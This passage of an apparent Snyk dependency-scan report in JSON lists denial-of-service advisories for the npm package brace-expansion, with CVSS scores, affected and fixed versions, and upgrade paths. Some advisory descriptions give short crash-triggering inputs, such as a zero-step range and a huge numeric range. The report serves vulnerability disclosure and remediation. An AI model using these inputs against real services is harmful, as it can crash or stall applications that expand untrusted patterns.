"npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, 